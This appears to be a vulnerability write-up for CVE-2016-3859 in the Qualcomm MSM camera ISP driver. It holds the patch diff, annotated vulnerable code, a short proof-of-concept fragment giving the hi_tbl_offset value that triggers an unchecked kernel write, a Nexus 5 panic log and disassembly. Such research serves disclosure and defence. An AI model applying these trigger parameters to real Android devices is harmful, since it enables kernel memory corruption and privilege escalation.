CVE-2016-3859

patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c
index 8e7cb68..86392c6 100644
--- a/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c
+++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp_util.c
@@ -1234,7 +1234,8 @@ static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev,
case VFE_READ_DMI_16BIT:
case VFE_READ_DMI_32BIT:
case VFE_READ_DMI_64BIT: {
- if (reg_cfg_cmd.cmd_type == VFE_WRITE_DMI_64BIT)
{

+ if (reg_cfg_cmd.cmd_type == VFE_WRITE_DMI_64BIT ||
+ reg_cfg_cmd.cmd_type == VFE_READ_DMI_64BIT) {
if ((reg_cfg_cmd.u.dmi_info.hi_tbl_offset <=
reg_cfg_cmd.u.dmi_info.lo_tbl_offset) ||
(reg_cfg_cmd.u.dmi_info.hi_tbl_offset -

source code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev,
struct msm_vfe_reg_cfg_cmd *reg_cfg_cmd,
uint32_t *cfg_data, uint32_t cmd_len)

{

...
case VFE_READ_DMI_64BIT: {
if (reg_cfg_cmd->cmd_type == VFE_WRITE_DMI_64BIT) {
// check param...
...
}
// check lo_tbl_offset
if ((reg_cfg_cmd->u.dmi_info.lo_tbl_offset >
(UINT_MAX - reg_cfg_cmd->u.dmi_info.len)) ||
((reg_cfg_cmd->u.dmi_info.lo_tbl_offset +
reg_cfg_cmd->u.dmi_info.len) > cmd_len)) {
pr_err("%s:%d lo_tbl_offset %d len %d cmd_len %d\n",
__func__, __LINE__,
reg_cfg_cmd->u.dmi_info.lo_tbl_offset,
reg_cfg_cmd->u.dmi_info.len, cmd_len);
return -EINVAL;
}
break;
...
case VFE_READ_DMI_64BIT: {
int i;
uint32_t *hi_tbl_ptr = NULL, *lo_tbl_ptr = NULL;
uint32_t hi_val, lo_val, lo_val1;
if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) {
hi_tbl_ptr = cfg_data +
reg_cfg_cmd->u.dmi_info.hi_tbl_offset/4;
}

lo_tbl_ptr = cfg_data +
reg_cfg_cmd->u.dmi_info.lo_tbl_offset/4;

if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT)
reg_cfg_cmd->u.dmi_info.len =
reg_cfg_cmd->u.dmi_info.len / 2;

for (i = 0; i < reg_cfg_cmd->u.dmi_info.len/4; i++) {
lo_val = msm_camera_io_r(vfe_dev->vfe_base +
vfe_dev->hw_info->dmi_reg_offset + 0x4);

if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_16BIT) {
lo_val1 = msm_camera_io_r(vfe_dev->vfe_base +
vfe_dev->hw_info->dmi_reg_offset + 0x4);
lo_val |= lo_val1 << 16;
}
*lo_tbl_ptr++ = lo_val;
if (reg_cfg_cmd->cmd_type == VFE_READ_DMI_64BIT) {
hi_val = msm_camera_io_r(vfe_dev->vfe_base +
vfe_dev->hw_info->dmi_reg_offset);
*hi_tbl_ptr = hi_val; // !!!! hi_tbl_offset not check, so hi_tbl_ptr can be control~
hi_tbl_ptr += 2;
lo_tbl_ptr++;
}
}
break;
}

}

poc

need pass check:

1
2
3
4
5
6
7
8
9
10
if (
( reg_cfg_cmd[0].u.dmi_info.lo_tbl_offset > (UINT_MAX - reg_cfg_cmd[0].u.dmi_info.len) )
|| ( (reg_cfg_cmd[0].u.dmi_info.lo_tbl_offset + reg_cfg_cmd[0].u.dmi_info.len) > cmd_len )
)
{
printf("[-] set param error: lo_tbl_offset 0x%x len 0x%x cmd_len 0x%x\n",
reg_cfg_cmd[0].u.dmi_info.lo_tbl_offset,
reg_cfg_cmd[0].u.dmi_info.len, cmd_len);
return -1;
}

then set hi_tbl_offset = 0x40000000;

will be write a value to (kptr + hi_tbl_offset /4)

crash log

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
[   66.742418] audit: audit_lost=10612 audit_rate_limit=20 audit_backlog_limit=64
[ 66.742537] audit: rate limit exceeded
[ 95.769933] Unable to handle kernel paging request at virtual address 2d7c3000
[ 95.770933] pgd = e2800000
[ 95.771331] [2d7c3000] *pgd=00000000
[ 95.771760] Internal error: Oops: 805 [#1] PREEMPT SMP ARM
[ 95.772189] CPU: 0 Not tainted (3.4.0-gc46bfe8 #1)
[ 95.772426] PC is at msm_isp_proc_cmd+0x534/0x8b4
[ 95.772646] LR is at msm_isp_proc_cmd+0x52c/0x8b4
[ 95.773035] pc : [<c07093b0>] lr : [<c07093a8>] psr: 60000013
[ 95.773046] sp : eae83d70 ip : eae83d70 fp : eae83dc4
[ 95.773624] r10: 00000001 r9 : ed7c3008 r8 : 00001dc8
[ 95.773844] r7 : 00000000 r6 : ed658000 r5 : 2d7c3000 r4 : eb3c5ac0
[ 95.774231] r3 : 00000080 r2 : ed7c3008 r1 : 00000009 r0 : 00000000
[ 95.774456] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[ 95.774846] Control: 10c5787d Table: 2ac0006a DAC: 00000015
[ 95.775228]
[ 95.775234] PC: 0xc0709330:
[ 95.775634] 9330 e1a00006 e59510c4 e2899001 e59330ec e2833004 e0811003 ebffb372 e5942008
[ 95.777807] 9350 e1a0300a e1590122 2a000043 e594100c e3510004 e283a004 e5936000 1affffec
[ 95.779820] 9370 e7953008 e6ff0076 e59510c4 e1a06826 e59330ec e2833004 e0811003 ebffb361
[ 95.781969] 9390 eaffffe5 e7962008 e59600c4 e59220ec e0800002 ebffb36b e2892008 e1a09002
[ 95.784122] 93b0 e4850008 e5941008 e15a0121 3affff5a e51b9030 e1a05006 e51b7048 e51b6038
[ 95.786282] 93d0 e1d980b2 e1d920b0 eaffff99 e51b2038 e283a008 e795e008 e59510c4 e4920008
[ 95.788261] 93f0 e59e30ec e0811003 e50b2038 ebffb345 eaffffc9 e5163008 e3730005 8a0000a3
[ 95.790423] 9410 e59520b4 e2830004 e5921004 e5922000 e2811001 e0621001 e1510000 3a00009b
[ 95.792586]
[ 95.792592] LR: 0xc0709328:
[ 95.792982] 9328 0a00002b e7953008 e1a00006 e59510c4 e2899001 e59330ec e2833004 e0811003
[ 95.795129] 9348 ebffb372 e5942008 e1a0300a e1590122 2a000043 e594100c e3510004 e283a004
[ 95.797288] 9368 e5936000 1affffec e7953008 e6ff0076 e59510c4 e1a06826 e59330ec e2833004
[ 95.799289] 9388 e0811003 ebffb361 eaffffe5 e7962008 e59600c4 e59220ec e0800002 ebffb36b
[ 95.801456] 93a8 e2892008 e1a09002 e4850008 e5941008 e15a0121 3affff5a e51b9030 e1a05006
[ 95.803621] 93c8 e51b7048 e51b6038 e1d980b2 e1d920b0 eaffff99 e51b2038 e283a008 e795e008
[ 95.805615] 93e8 e59510c4 e4920008 e59e30ec e0811003 e50b2038 ebffb345 eaffffc9 e5163008
[ 95.807773] 9408 e3730005 8a0000a3 e59520b4 e2830004 e5921004 e5922000 e2811001 e0621001
[ 95.809952]
[ 95.809958] SP: 0xeae83cf0:
[ 95.810359] 3cf0 ee002180 000080d0 00000010 c07093b0 60000013 ffffffff eae83d5c 00001dc8
[ 95.812540] 3d10 ed7c3008 00000001 eae83dc4 eae83d28 c0106f98 c0100254 00000000 00000009
[ 95.814709] 3d30 ed7c3008 00000080 eb3c5ac0 2d7c3000 ed658000 00000000 00001dc8 ed7c3008
[ 95.816695] 3d50 00000001 eae83dc4 eae83d70 eae83d70 c07093a8 c07093b0 60000013 ffffffff
[ 95.818868] 3d70 22222222 22222222 22222222 ed7c3000 eae82030 00000000 eb3c5ac0 eb3c5ac8
[ 95.821050] 3d90 00000000 eae83e24 00000003 c00c56c0 ed658000 ed658138 eae83e24 eae83e24
[ 95.823042] 3db0 00000003 eb3a8cc0 eae83de4 eae83dc8 c070a828 c0708e88 c00c56c0 ed658004
[ 95.825055] 3dd0 eae83e24 eb3a8cc0 eae83e04 eae83de8 c0738a6c c070a5fc c00c56c0 c113a488
[ 95.827216]
[ 95.827222] IP: 0xeae83cf0:
[ 95.827619] 3cf0 ee002180 000080d0 00000010 c07093b0 60000013 ffffffff eae83d5c 00001dc8
[ 95.829797] 3d10 ed7c3008 00000001 eae83dc4 eae83d28 c0106f98 c0100254 00000000 00000009
[ 95.831955] 3d30 ed7c3008 00000080 eb3c5ac0 2d7c3000 ed658000 00000000 00001dc8 ed7c3008
[ 95.833943] 3d50 00000001 eae83dc4 eae83d70 eae83d70 c07093a8 c07093b0 60000013 ffffffff
[ 95.835926] 3d70 22222222 22222222 22222222 ed7c3000 eae82030 00000000 eb3c5ac0 eb3c5ac8
[ 95.838082] 3d90 00000000 eae83e24 00000003 c00c56c0 ed658000 ed658138 eae83e24 eae83e24
[ 95.840235] 3db0 00000003 eb3a8cc0 eae83de4 eae83dc8 c070a828 c0708e88 c00c56c0 ed658004
[ 95.842374] 3dd0 eae83e24 eb3a8cc0 eae83e04 eae83de8 c0738a6c c070a5fc c00c56c0 c113a488
[ 95.844378]
[ 95.844384] FP: 0xeae83d44:
[ 95.844948] 3d44 00000000 00001dc8 ed7c3008 00000001 eae83dc4 eae83d70 eae83d70 c07093a8
[ 95.846939] 3d64 c07093b0 60000013 ffffffff 22222222 22222222 22222222 ed7c3000 eae82030
[ 95.849107] 3d84 00000000 eb3c5ac0 eb3c5ac8 00000000 eae83e24 00000003 c00c56c0 ed658000
[ 95.851258] 3da4 ed658138 eae83e24 eae83e24 00000003 eb3a8cc0 eae83de4 eae83dc8 c070a828
[ 95.853419] 3dc4 c0708e88 c00c56c0 ed658004 eae83e24 eb3a8cc0 eae83e04 eae83de8 c0738a6c
[ 95.855414] 3de4 c070a5fc c00c56c0 c113a488 0000000c 00000000 eae83ed4 eae83e08 c07320c4
[ 95.857583] 3e04 c0738710 ed131000 00000002 0000001a e99866c0 c0738704 bea979e8 00040006
[ 95.859751] 3e24 04000001 b6d07400 b6d18030 00000001 eae83e40 c0a957e8 c01e3954 ed131000
[ 95.861757]
[ 95.861763] R2: 0xed7c2f88:
[ 95.862325] 2f88 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.864481] 2fa8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.866465] 2fc8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.868646] 2fe8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 42424242
[ 95.870820] 3008 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.872833] 3028 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.874999] 3048 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.877169] 3068 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.879335]
[ 95.879340] R4: 0xeb3c5a40:
[ 95.879740] 5a40 c1b815c0 eb3c5284 eb3c5784 00000000 00000000 00000000 00307300 32313563
[ 95.881912] 5a60 36376300 e9000038 00000001 00000000 f3affad8 0000000a 00000871 00000000
[ 95.883904] 5a80 0000e4a6 e9a77b45 00000000 00000000 e9a77b50 00000000 00000000 00000000
[ 95.886052] 5aa0 ea0762a0 ec001800 ea076280 0000000a 00000001 00000001 e9ad5e00 00000000
[ 95.888204] 5ac0 40000000 00000000 00000200 00000009 00000000 00000000 00000000 00000000
[ 95.890365] 5ae0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.892338] 5b00 0000018e 0000018e 0000006f 00000001 00000000 00000000 00000000 00000000
[ 95.894492] 5b20 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.896665]
[ 95.896671] R6: 0xed657f80:
[ 95.897063] 7f80 00000001 ee3d1d80 00000000 c051aea4 00000000 00000000 00000000 00000000
[ 95.899223] 7fa0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.901377] 7fc0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.903354] 7fe0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.905481] 8000 ee132a00 ed660004 c119daa0 ed8ee800 00000010 ed62d040 00020000 00000000
[ 95.907631] 8020 00000000 00000003 00000000 00000000 00000000 00000010 00000000 00000000
[ 95.909799] 8040 00000000 00000000 00000051 00000014 00000000 ed660054 c119daf0 00000000
[ 95.911790] 8060 0000000c ed61c680 c119e108 c119e0f8 00000000 00656676 00000000 00000000
[ 95.913783]
[ 95.913789] R9: 0xed7c2f88:
[ 95.914187] 2f88 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.916355] 2fa8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.918509] 2fc8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 95.920669] 2fe8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 42424242
[ 95.922651] 3008 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.924641] 3028 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.926803] 3048 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.928810] 3068 42424242 42424242 42424242 42424242 42424242 42424242 42424242 42424242
[ 95.930993] Process poc (pid: 3053, stack limit = 0xeae822f0)
[ 95.931407] Stack: (0xeae83d70 to 0xeae84000)
[ 95.931627] 3d60: 22222222 22222222 22222222 ed7c3000
[ 95.932027] 3d80: eae82030 00000000 eb3c5ac0 eb3c5ac8 00000000 eae83e24 00000003 c00c56c0
[ 95.932429] 3da0: ed658000 ed658138 eae83e24 eae83e24 00000003 eb3a8cc0 eae83de4 eae83dc8
[ 95.932663] 3dc0: c070a828 c0708e88 c00c56c0 ed658004 eae83e24 eb3a8cc0 eae83e04 eae83de8
[ 95.933064] 3de0: c0738a6c c070a5fc c00c56c0 c113a488 0000000c 00000000 eae83ed4 eae83e08
[ 95.933467] 3e00: c07320c4 c0738710 ed131000 00000002 0000001a e99866c0 c0738704 bea979e8
[ 95.933701] 3e20: 00040006 04000001 b6d07400 b6d18030 00000001 eae83e40 c0a957e8 c01e3954
[ 95.934109] 3e40: ed131000 00000002 ed135bc0 0000000a 0000001a e99866c0 eae83e74 eae83e68
[ 95.934510] 3e60: c0a958d4 c01c91d0 eae83eb4 00000001 eae83e94 c117fc38 60000013 00000001
[ 95.934911] 3e80: 00000003 00000000 eae82000 c01c91dc eae83ecc eae83ea0 c01c91dc c0a9821c
[ 95.935140] 3ea0: 00000000 a19364fd c01c91dc ed653800 eb3a8cc0 bea979e8 c00c56c0 ed171a28
[ 95.935537] 3ec0: bea979e8 00000000 eae83ee4 eae83ed8 c0738700 c0731dfc eae83f0c eae83ee8
[ 95.935936] 3ee0: c072c504 c07386ec c072c458 eb3a8cc0 00000003 c00c56c0 eb3a8cc0 ed171a28
[ 95.936340] 3f00: eae83f74 eae83f10 c02831c8 c072c464 c1a656c0 0000000b 00000000 eae83f08
[ 95.936569] 3f20: 00000000 eae83f00 eae82000 b6d18030 bea979e8 c00c56c0 eb3a8cc0 00000003
[ 95.936970] 3f40: eae82000 00000000 eae83f64 00000000 bea979e8 c00c56c0 eb3a8cc0 00000003
[ 95.937369] 3f60: eae82000 00000000 eae83fa4 eae83f78 c02833f8 c0282dc8 00000000 00000000
[ 95.937598] 3f80: c0107644 b6d18030 bea979e8 00000003 00000036 c0107644 00000000 eae83fa8
[ 95.937998] 3fa0: c0107400 c0283388 b6d18030 bea979e8 00000003 c00c56c0 bea979e8 bea979d8
[ 95.938396] 3fc0: b6d18030 bea979e8 00000003 00000036 000080f4 00000000 00000000 bea97a7c
[ 95.938794] 3fe0: 40000000 bea979c8 0000e443 00011244 80000010 00000003 00000000 00000000
[ 95.939054] [<c07093b0>] (msm_isp_proc_cmd+0x534/0x8b4) from [<c070a828>] (msm_isp_ioctl+0x238/0x3b0)
[ 95.939488] [<c070a828>] (msm_isp_ioctl+0x238/0x3b0) from [<c0738a6c>] (subdev_do_ioctl+0x368/0x554)
[ 95.939923] [<c0738a6c>] (subdev_do_ioctl+0x368/0x554) from [<c07320c4>] (video_usercopy+0x2d4/0x594)
[ 95.940359] [<c07320c4>] (video_usercopy+0x2d4/0x594) from [<c0738700>] (subdev_ioctl+0x20/0x24)
[ 95.940785] [<c0738700>] (subdev_ioctl+0x20/0x24) from [<c072c504>] (v4l2_ioctl+0xac/0x160)
[ 95.941044] [<c072c504>] (v4l2_ioctl+0xac/0x160) from [<c02831c8>] (do_vfs_ioctl+0x40c/0x5c0)
[ 95.941473] [<c02831c8>] (do_vfs_ioctl+0x40c/0x5c0) from [<c02833f8>] (sys_ioctl+0x7c/0x8c)
[ 95.941906] [<c02833f8>] (sys_ioctl+0x7c/0x8c) from [<c0107400>] (ret_fast_syscall+0x0/0x30)
[ 95.942318] Code: e0800002 ebffb36b e2892008 e1a09002 (e4850008)
[ 95.945358] ---[ end trace 73ebd40746349828 ]---
[ 95.946015] Kernel panic - not syncing: Fatal exception
[ 96.946453] Rebooting in 5 seconds..
[ 101.948083] Going down for restart now
[ 101.948958] Calling SCM to disable SPMI PMIC arbiter

No errors detected
Boot info:
Last boot reason: kernel_panic

crash dis asm

nexus 5 - cm13

1
2
3
4
5
6
7
8
9
10
11
12
loc_C0709394
LDR R2, [R6,R8]
LDR R0, [R6,#0xC4]
LDR R2, [R2,#0xEC]
ADD R0, R0, R2
BL msm_camera_io_r
ADD R2, R9, #8
MOV R9, R2
STR R0, [R5],#8 // !!! crash
LDR R1, [R4,#8]
CMP R10, R1,LSR#2
BCC loc_C070912C

r0 = 0
so could write 0 to (kptr + hi_tbl_offset /4)
kptr is cfg_data
cfg_data = kzalloc(proc_cmd->cmd_len, GFP_KERNEL);
how to control cfg_data ?